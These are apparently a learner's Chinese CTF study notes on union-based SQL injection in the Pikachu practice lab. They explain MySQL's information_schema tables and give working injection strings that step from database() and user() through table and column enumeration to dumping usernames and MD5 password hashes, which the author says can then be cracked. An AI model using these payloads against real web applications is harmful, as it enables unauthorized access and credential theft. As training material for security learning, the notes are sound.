ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509

union 联合查询:
可以通过联合查询来查询指定的数据
用法举例:

 select username,password from user where id=1 unionselect 字段1,字段2 from 表名 

联合查询的字段数需要和主查询一致!‘

如何确定字段数??-》order by了解一下吧

ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509_第1张图片
ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509_第2张图片

然后,
用union查询又有什么用呢?
用union的目的是为了获得更多的信息,
说实话,获得那些什么名字的破信息根本没什么鸟用。
要拿到更多的数据库私隐,了解多一点。

那么就会引进一个重要的:库:

information_schema

这个库是可以形象地比喻成国家机密机构,

里面有很多重要的表。
比如:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。
详细表述了某个表属于哪个schema,表类型, 表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

那么可以利用这个库进行查询:
爆破出想要的东西:

案例:
ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509_第3张图片
先找出个构成union的前提先,
再询问一下该表名字,类型之类的:

kobe ' union select database(),user()#

然后知道了表名:
pikachu

用schema去查:

构造:

kobe' union select table_schema,table_name from information_schema.tables
(注意.tables是跨库查询,是支持的)
where table_name='pikachu'#

得出:
ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509_第4张图片
合理猜测,
要的密码和用户信息在这里。

接着

columns登场了

里面有表的列的信息,
应该用视图,存放的吧。

查询语句如下/:

kobe' union select column_name,table_name from information_schema.columns
where table_name='users'#

ojbk:
ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509_第5张图片
快解决了,
知道列和表,一查就出来了:

kobe' union select username,password from users#

ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509_第6张图片
一看就知道是md5加密
解个密就好。

你可能感兴趣的:(学习日记,ctf,数据库)